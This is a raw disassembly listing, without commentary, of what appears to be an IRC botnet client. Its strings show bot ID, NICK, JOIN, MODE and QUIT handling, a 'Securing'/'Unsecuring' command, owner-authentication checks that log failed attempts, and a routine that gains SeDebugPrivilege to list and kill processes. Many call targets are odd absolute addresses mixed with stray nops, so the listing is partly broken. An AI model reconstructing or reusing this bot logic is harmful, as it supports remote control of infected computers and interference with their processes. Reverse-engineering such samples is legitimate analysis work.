[ebp+arg_4] call dword_43F700 call dword_43F5C8 call sub_40AC42 push ebx nop call near ptr 77E75CB5h loc_414852: ; CODE XREF: sub_40EE72+15F6j ; sub_40EE72+160Bj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40B8D8 pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_4356F4 jmp loc_4145BD ; --------------------------------------------------------------------------- loc_414880: ; CODE XREF: sub_40EE72+14BCj ; sub_40EE72+14D1j push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_4356CC jmp loc_4145BD ; --------------------------------------------------------------------------- loc_4148B2: ; CODE XREF: sub_40EE72+1492j ; sub_40EE72+14A7j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C00D jmp loc_40F236 ; --------------------------------------------------------------------------- loc_4148CB: ; CODE XREF: sub_40EE72+1468j ; sub_40EE72+147Dj cmp [ebp+var_C], ebx mov [ebp+var_388], bl jz short loc_41490A mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_41490A push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_41490A push eax push offset aS_1 ; "%s" lea eax, [ebp+var_388] push 80h push eax call sub_41782A add esp, 10h loc_41490A: ; CODE XREF: sub_40EE72+5A62j ; sub_40EE72+5A6Dj ... push [ebp+var_8C] lea eax, [ebp+var_408] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_40C], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax mov eax, [ebp+var_8] mov [ebp+var_300], eax lea eax, [ebp+var_2DC] push offset dword_4356A4 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Dh push eax call sub_416D5C add esp, 14h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_40C07F push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4149AD loc_414997: ; CODE XREF: sub_40EE72+5B39j cmp [ebp+var_2FC], ebx jnz loc_40F239 push 32h nop call near ptr 25F0439h jmp short loc_414997 ; --------------------------------------------------------------------------- loc_4149AD: ; CODE XREF: sub_40EE72+5B23j nop call near ptr 2630313h push eax push offset dword_43565C jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4149BE: ; CODE XREF: sub_40EE72+143Ej ; sub_40EE72+1453j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40BEF5 push offset dword_435634 call sub_40BF6D jmp loc_41452A ; --------------------------------------------------------------------------- loc_4149DE: ; CODE XREF: sub_40EE72+1414j ; sub_40EE72+1429j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax jz short loc_414A38 push offset dword_435630 push esi call sub_4176D0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_46C], eax jmp short loc_414A3E ; --------------------------------------------------------------------------- loc_414A38: ; CODE XREF: sub_40EE72+5BAAj mov [ebp+var_46C], ebx loc_414A3E: ; CODE XREF: sub_40EE72+5BC4j lea eax, [ebp+var_2DC] push offset dword_435604 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 20h push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset byte_416DC7 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414AA8 loc_414A96: ; CODE XREF: sub_40EE72+5C34j cmp [ebp+var_460], ebx jnz short loc_414AC3 push 32h nop call near ptr 25F0439h jmp short loc_414A96 ; --------------------------------------------------------------------------- loc_414AA8: ; CODE XREF: sub_40EE72+5C22j nop call near ptr 2630313h push eax push offset dword_4355BC loc_414AB4: ; CODE XREF: sub_40EE72+489Fj ; sub_40EE72+49BBj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414AC3: ; CODE XREF: sub_40EE72+4529j ; sub_40EE72+4541j ... lea eax, [ebp+var_2DC] push eax jmp loc_410654 ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_40EE72+1398j ; sub_40EE72+13ADj push offset aBotid ; "botid" push offset dword_435594 jmp short loc_414AED ; --------------------------------------------------------------------------- loc_414ADB: ; CODE XREF: sub_40EE72+136Ej ; sub_40EE72+1383j push dword_489C50 call sub_40B721 pop ecx push eax push offset dword_435558 loc_414AED: ; CODE XREF: sub_40EE72+5C67j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_4110FD ; --------------------------------------------------------------------------- loc_414B1A: ; CODE XREF: sub_40EE72+1344j ; sub_40EE72+1359j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414B4C cmp [ebp+var_C], ebx jz short loc_414B5B push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_414B5B push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch jmp short loc_414B5B ; --------------------------------------------------------------------------- loc_414B4C: ; CODE XREF: sub_40EE72+5CB1j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40D633 pop ecx pop ecx loc_414B5B: ; CODE XREF: sub_40EE72+5CB6j ; sub_40EE72+5CC5j ... push 0FFFFFFFEh jmp loc_40F23B ; --------------------------------------------------------------------------- loc_414B62: ; CODE XREF: sub_40EE72+131Aj ; sub_40EE72+132Fj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_435508 call sub_40BF6D add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414B84: ; CODE XREF: sub_40EE72+12F0j ; sub_40EE72+1305j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_4354C8 call sub_40BF6D add esp, 0Ch xor eax, eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414BA5: ; CODE XREF: sub_40EE72+12C6j ; sub_40EE72+12DBj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407110 jmp loc_412FF6 ; --------------------------------------------------------------------------- loc_414BBB: ; CODE XREF: sub_40EE72+1221j ; sub_40EE72+1236j push [ebp+esi+var_90] push 1Fh push offset dword_4354B8 push offset dword_4354AC jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BD3: ; CODE XREF: sub_40EE72+11F7j ; sub_40EE72+120Cj push [ebp+esi+var_90] push 1Ch push offset dword_4354A0 push offset dword_435490 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BEB: ; CODE XREF: sub_40EE72+1022j ; sub_40EE72+1037j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_414C0A push edi call sub_41781F test eax, eax pop ecx jz short loc_414C0A push edi call sub_41781F pop ecx jmp short loc_414C0F ; --------------------------------------------------------------------------- loc_414C0A: ; CODE XREF: sub_40EE72+5D82j ; sub_40EE72+5D8Dj mov eax, dword_42F5A8 loc_414C0F: ; CODE XREF: sub_40EE72+5D96j mov esi, [ebp+esi+var_8C] mov [ebp+var_478], eax cmp esi, ebx jz short loc_414C34 push esi loc_414C21: ; CODE XREF: sub_40EE72+5DD1j lea eax, [ebp+var_488] push 10h push eax call sub_41782A add esp, 0Ch jmp short loc_414C4B ; --------------------------------------------------------------------------- loc_414C34: ; CODE XREF: sub_40EE72+5DACj cmp [ebp+var_9C7], bl jz short loc_414C45 lea eax, [ebp+var_D8] push eax jmp short loc_414C21 ; --------------------------------------------------------------------------- loc_414C45: ; CODE XREF: sub_40EE72+5DC8j mov [ebp+var_488], bl loc_414C4B: ; CODE XREF: sub_40EE72+5DC0j mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_46C], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_468], eax lea eax, [ebp+var_508] push eax mov [ebp+var_50C], esi call sub_41782A add esp, 0Ch push [ebp+var_478] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B75C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 11h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_50C] push ebx push eax push offset sub_407FEA push ebx push ebx call near ptr 2660D4Bh nop mov ecx, [ebp+var_474] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414CFC loc_414CE6: ; CODE XREF: sub_40EE72+5E88j cmp [ebp+var_464], ebx jnz loc_40F239 push 32h nop call near ptr 25F0439h jmp short loc_414CE6 ; --------------------------------------------------------------------------- loc_414CFC: ; CODE XREF: sub_40EE72+5E72j call near ptr 2630313h nop push eax push offset unk_435448 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_414D0D: ; CODE XREF: sub_40EE72+FCEj ; sub_40EE72+FE3j ... push edi push offset aSecure ; "secure" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414D35 push edi push offset aSec ; "sec" call sub_4176D0 pop ecx mov [ebp+var_46C], ebx test eax, eax pop ecx jnz short loc_414D3F loc_414D35: ; CODE XREF: sub_40EE72+5EAAj mov [ebp+var_46C], 1 loc_414D3F: ; CODE XREF: sub_40EE72+5EC1j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_46C], ebx mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] mov [ebp+var_464], eax mov eax, offset aSecuring ; "Securing" jnz short loc_414D86 mov eax, offset aUnsecuring ; "Unsecuring" loc_414D86: ; CODE XREF: sub_40EE72+5F0Dj push eax push offset dword_4353FC lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ah push eax call sub_416D5C add esp, 1Ch mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_415F28 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414DF6 loc_414DE4: ; CODE XREF: sub_40EE72+5F82j cmp [ebp+var_460], ebx jnz short loc_414E11 push 32h call near ptr 25F0439h nop jmp short loc_414DE4 ; --------------------------------------------------------------------------- loc_414DF6: ; CODE XREF: sub_40EE72+5F70j call near ptr 2630313h nop push eax push offset unk_4353B0 loc_414E02: ; CODE XREF: sub_40EE72+3DA7j ; sub_40EE72+4AC3j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414E11: ; CODE XREF: sub_40EE72+2EB3j ; sub_40EE72+395Bj ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_40F428 ; --------------------------------------------------------------------------- loc_414E22: ; CODE XREF: sub_40EE72+FA4j ; sub_40EE72+FB9j push offset aAbosal7Tool ; "ABOSAL7 tool" push offset dword_435390 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_414E31: ; CODE XREF: sub_40EE72+F7Aj ; sub_40EE72+F8Fj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414E91 push esi call sub_41781F cmp eax, ebx pop ecx jl short loc_414E86 cmp eax, 2 jge short loc_414E86 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_414E7B lea eax, [esi+1] push eax lea eax, [ebp+var_2DC] push offset dword_438738 push eax call sub_4172B0 add esp, 0Ch mov [esi], bl jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414E7B: ; CODE XREF: sub_40EE72+5FE8j push eax push offset dword_435354 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E86: ; CODE XREF: sub_40EE72+5FD3j ; sub_40EE72+5FD8j push eax push offset dword_435318 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E91: ; CODE XREF: sub_40EE72+5FC8j mov edi, [ebp+arg_18] xor esi, esi loc_414E96: ; CODE XREF: sub_40EE72+6040j push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414EB9 inc esi add edi, 80h cmp esi, 2 jl short loc_414E96 jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414EB9: ; CODE XREF: sub_40EE72+6034j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax push offset dword_438738 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414ED3: ; CODE XREF: sub_40EE72+F50j ; sub_40EE72+F65j push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414F47 call sub_416F25 push ebx nop call near ptr 77E75CB5h loc_414EF5: ; CODE XREF: sub_40EE72+F26j ; sub_40EE72+F3Bj push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_9B8], bl setnz al push eax lea eax, [ebp+var_928] push dword_42F5CC push eax call sub_415D01 add esp, 10h lea eax, [ebp+var_928] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch lea eax, [ebp+var_928] push eax push offset dword_4352E4 loc_414F40: ; CODE XREF: sub_40EE72+4346j ; sub_40EE72+49D9j ... call sub_40BFE1 pop ecx loc_414F46: ; CODE XREF: sub_40EE72+17E7j pop ecx loc_414F47: ; CODE XREF: sub_40EE72+65Fj ; sub_40EE72+66Bj ... mov eax, [ebp+arg_24] jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414F4F: ; CODE XREF: sub_40EE72+B28j ; sub_40EE72+B3Bj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40F239 cmp [ebp+var_AC], ebx jnz loc_40F239 push offset asc_4387B4 ; "!" push [ebp+var_94] call sub_418B6E mov esi, eax push offset dword_43C824 push ebx inc esi call sub_418B6E push offset asc_4352E0 ; "~" push eax call sub_418B6E push [ebp+arg_0] mov edi, eax push offset aCool ; "cool" call sub_4176D0 add esp, 20h test eax, eax jz short loc_414FEE lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_435258 jmp loc_40F813 ; --------------------------------------------------------------------------- loc_414FEE: ; CODE XREF: sub_40EE72+6138j mov [ebp+arg_24], offset off_42F6C4 loc_414FF5: ; CODE XREF: sub_40EE72+619Fj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_415055 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42F6C8 jb short loc_414FF5 lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_43521C jmp loc_40F813 ; --------------------------------------------------------------------------- loc_415055: ; CODE XREF: sub_40EE72+6192j mov edi, [ebp+arg_18] xor esi, esi loc_41505A: ; CODE XREF: sub_40EE72+6212j cmp [ebp+arg_0], ebx jz loc_40F239 cmp [edi], bl jnz short loc_41507A push [ebp+arg_0] push offset aCool ; "cool" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41508B loc_41507A: ; CODE XREF: sub_40EE72+61F3j inc esi add edi, 80h cmp esi, 2 jl short loc_41505A jmp loc_40F239 ; --------------------------------------------------------------------------- loc_41508B: ; CODE XREF: sub_40EE72+6206j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_AA8] push 7Fh push eax push esi call sub_418C10 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4150C2 push ebx push [ebp+var_4] push offset dword_4351F0 push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4150C2: ; CODE XREF: sub_40EE72+6234j lea eax, [ebp+var_D8] push eax push offset dword_4351C0 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4150D3: ; CODE XREF: sub_40EE72+20Ej ; sub_40EE72+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push offset aXi ; "+xi" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h mov dword_489DCC, edi jmp loc_40F10F sub_40EE72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41511F proc near ; CODE XREF: sub_409037+45p ; sub_409037+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 2760C3Fh nop push eax call dword_43F64C test eax, eax jnz short loc_41513E leave retn ; --------------------------------------------------------------------------- loc_41513E: ; CODE XREF: sub_41511F+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_43F624 test eax, eax jz short loc_41517C cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_415165 or [ebp+var_8], 2 jmp short loc_415169 ; --------------------------------------------------------------------------- loc_415165: ; CODE XREF: sub_41511F+3Ej and [ebp+var_8], 0FFFFFFFDh loc_415169: ; CODE XREF: sub_41511F+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_43F6D4 mov esi, eax loc_41517C: ; CODE XREF: sub_41511F+32j push [ebp+var_4] nop call near ptr 2611A31h mov eax, esi pop esi leave retn sub_41511F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41518A proc near ; CODE XREF: sub_40EE72+4B68p ; sub_41533B+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_43F688, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_415334 cmp dword_43F66C, ebx jz loc_415334 cmp dword_43F588, ebx jz loc_415334 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push ebx push 0Fh call dword_43F688 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_415327 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_43F66C mov esi, dword_424078 test eax, eax jz loc_415322 loc_41522D: ; CODE XREF: sub_41518A+BEj ; sub_41518A+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43F588 test eax, eax jz loc_415322 cmp [ebp+arg_10], ebx jnz short loc_41522D cmp [ebp+arg_C], ebx jnz loc_4152DA cmp [ebp+arg_4], ebx jz short loc_41522D push [ebp+var_124] push 8 call dword_43F688 cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_415297 lea eax, [ebp+var_350] push eax push edi call dword_43F534 push [ebp+var_124] test eax, eax jz short loc_41529D lea eax, [ebp+var_230] jmp short loc_4152A3 ; --------------------------------------------------------------------------- loc_415297: ; CODE XREF: sub_41518A+EBj push [ebp+var_124] loc_41529D: ; CODE XREF: sub_41518A+103j lea eax, [ebp+var_108] loc_4152A3: ; CODE XREF: sub_41518A+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h push edi call esi jmp loc_41522D ; --------------------------------------------------------------------------- loc_4152DA: ; CODE XREF: sub_41518A+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41522D push [ebp+var_124] push ebx push 1F0FFFh nop call near ptr 2700537h push [ebp+var_4] mov edi, eax call esi push ebx push edi nop call near ptr 27B0BD0h test eax, eax jnz short loc_41531D push edi call esi jmp short loc_415334 ; --------------------------------------------------------------------------- loc_41531D: ; CODE XREF: sub_41518A+18Cj push 1 pop eax jmp short loc_415336 ; --------------------------------------------------------------------------- loc_415322: ; CODE XREF: sub_41518A+9Dj ; sub_41518A+B5j push [ebp+var_4] call esi loc_415327: ; CODE XREF: sub_41518A+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx loc_415334: ; CODE XREF: sub_41518A+3Aj ; sub_41518A+46j ... xor eax, eax loc_415336: ; CODE XREF: sub_41518A+196j pop edi pop esi pop ebx leave retn sub_41518A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41533B proc near ; DATA XREF: sub_40EE72+595Co var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_438838 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41539A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_41539A: ; CODE XREF: sub_41533B+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_41518A add esp, 18h test eax, eax jnz short loc_4153C2 push offset unk_438800 jmp short loc_4153C7 ; --------------------------------------------------------------------------- loc_4153C2: ; CODE XREF: sub_41533B+7Ej push offset unk_4387C8 loc_4153C7: ; CODE XREF: sub_41533B+85j lea eax, [ebp+var_298] push eax call sub_4172B0 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4153FA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_4153FA: ; CODE XREF: sub_41533B+9Dj lea eax, [ebp+var_298] push eax call sub_40BF6D push [ebp+var_14] call sub_417078 pop ecx pop ecx push esi call near ptr 25E02EAh nop pop edi pop esi sub_41533B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415419 proc near ; CODE XREF: sub_40EE72+4B0Ap ; sub_416E97+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 2700537h mov esi, eax test esi, esi jz short loc_41544B push 0 push esi nop call near ptr 27B0BD0h test eax, eax jnz short loc_41544B push esi xor edi, edi nop call near ptr 2611A31h loc_41544B: ; CODE XREF: sub_415419+1Aj ; sub_415419+27j mov eax, edi pop edi pop esi retn sub_415419 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415450 proc near ; CODE XREF: sub_4030D1+Ap ; ___:0040369Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_41730C mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4246A0 call sub_417DC4 sub esi, eax mov eax, esi pop esi leave retn sub_415450 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_4450CC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_43F650 test eax, eax jnz short loc_415504 push dword ptr [esi] call dword_43F700 push dword ptr [ebp+8] call sub_417078 pop ecx push edi nop call near ptr 25E02EAh loc_415504: ; CODE XREF: ___:004154EAj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_43F680 lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_415685 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_43F5C4 test eax, eax jz short loc_41557D call dword_43F5FC push eax push offset dword_43892C call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push edi nop call near ptr 25E02EAh loc_41557D: ; CODE XREF: ___:00415558j push 2 lea eax, [ebp-18h] push 4 push eax call dword_43F620 cmp eax, edi jnz short loc_4155A7 push dword ptr [ebp-18h] call dword_43F6F4 push eax lea eax, [ebp-0B0h] push eax call sub_4172B0 jmp short loc_4155B5 ; --------------------------------------------------------------------------- loc_4155A7: ; CODE XREF: ___:0041558Dj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_4179C0 loc_4155B5: ; CODE XREF: ___:004155A5j pop ecx pop ecx push edi push ebx push offset byte_43C80C push dword ptr [esi] call dword_43F6B8 cmp dword_489DDC, edi jnz short loc_415617 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_4156DF add esp, 10h test eax, eax jnz short loc_415617 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push dword ptr [ebp+8] call sub_417078 pop ecx push edi call near ptr 25E02EAh nop loc_415617: ; CODE XREF: ___:004155CCj ; ___:004155EDj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_4388E0 call sub_40BFE1 push dword ptr [ebp+8] call sub_4165C6 add esp, 10h test eax, eax jnz short loc_41565E nop call near ptr 2630313h push eax push offset dword_4388A4 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push ebx nop call near ptr 25E02EAh loc_41565E: ; CODE XREF: ___:00415639j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_43886C call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 10h push edi nop call near ptr 25E02EAh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415685 proc near ; CODE XREF: ___:0041551Ap ; ___:00415527p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43F680 cmp eax, 1 jnz short loc_4156D5 mov esi, [ebp+arg_4] loc_4156A3: ; CODE XREF: sub_415685+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4156CA test al, al jz short loc_4156D9 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43F680 cmp eax, 1 jz short loc_4156A3 jmp short loc_4156D5 ; --------------------------------------------------------------------------- loc_4156CA: ; CODE XREF: sub_415685+27j push offset dword_438968 call sub_40BFE1 pop ecx loc_4156D5: ; CODE XREF: sub_415685+19j ; sub_415685+43j xor eax, eax jmp short loc_4156DC ; --------------------------------------------------------------------------- loc_4156D9: ; CODE XREF: sub_415685+2Bj push 1 pop eax loc_4156DC: ; CODE XREF: sub_415685+52j pop esi leave retn sub_415685 endp ; =============== S U B R O U T I N E ======================================= 